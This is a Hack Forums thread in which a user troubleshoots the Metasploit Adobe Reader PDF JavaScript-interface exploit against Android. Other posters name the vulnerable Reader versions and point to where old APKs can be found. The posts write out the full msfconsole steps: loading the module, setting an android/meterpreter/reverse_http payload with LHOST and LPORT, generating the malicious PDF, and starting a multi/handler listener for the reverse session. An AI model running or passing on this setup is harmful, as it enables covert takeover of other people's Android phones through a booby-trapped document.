Forum:Hack Forums

Thread: is Metasploit Android pdf Js binder payload dead ?

Tyrell Wellick - *May 4, 2019, 2:42 pm*

This exploit android/fileformat/adobe_reader_pdf_js_interface.rb in metasploit seems dead..cant open sessions with this payload ?
is it me who is a failure in configuring this ? ? or is it something else?? ? ?

CyberStrike - *May 4, 2019, 3:41 pm*

No idea, post the options you are setting up. Also is Adobe Reader below 11.2.0 installed on said device?

Tyrell Wellick - *May 4, 2019, 4:24 pm*

This is how it looks while i create payload. ?

```
msf5 > use exploit/android/fileformat/adobe_reader_pdf_js_interface.rb
msf5 exploit(android/fileformat/adobe_reader_pdf_js_interface) > set payload
android/meterpreter/reverse_http
payload => android/meterpreter/reverse_http
msf5 exploit(android/fileformat/adobe_reader_pdf_js_interface) > set lhost 192.168.43.149
lhost => 192.168.43.149
msf5 exploit(android/fileformat/adobe_reader_pdf_js_interface) > set lport 4444
lport => 4444
msf5 exploit(android/fileformat/adobe_reader_pdf_js_interface) > exploit


[*]Generating Javascript exploit...

[*]Creating PDF...
[+] msf.pdf stored at /root/.msf4/local/msf.pdf

[*]
```

and below are options i gave for a meterpreter session

```
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload android/meterpreter/reverse_http
payload => android/meterpreter/reverse_http
msf5 exploit(multi/handler) > set lhost 192.168.43.149
lhost => 192.168.43.149
msf5 exploit(multi/handler) > set lport 4444
lport => 4444
msf5 exploit(multi/handler) > exploit
[*]Started HTTP reverse handler on 192.168.43.149:4444
```

Nothing happens here after when i click on the payload ? ???
Can you let me know whats there in that specific version of Adobe reader ?? Bcuz M not sure about that. ?

CyberStrike - *May 4, 2019, 5:06 pm*
Yes there is a specific version of Adobe Reader for Android, hence why I mentioned it.

https://www.rapid7.com/db/modules/exploit/android/fileformat/adobe_reader_pdf_js_interface

ishubs - *October 22, 2019, 11:31 am*
where can i find the speific version of adobe reader ??

CyberStrike - *October 23, 2019, 8:43 pm*
(Oct 22, 2019 11:31 AM)ishubs Wrote: *[CITE]* where can i find the speific version of adobe reader ??
It's version 11.1.3 and according to Rapid7 it's 11.2, I am sure a good search can locate it, took one quick google search and I found the APK on a couple of sites. As to the authenticity I suggest you find the hash and verify, also you should run it in an emulator before deploying it.

Slicky - *November 3, 2019, 6:31 pm*
No clue dude ill look into it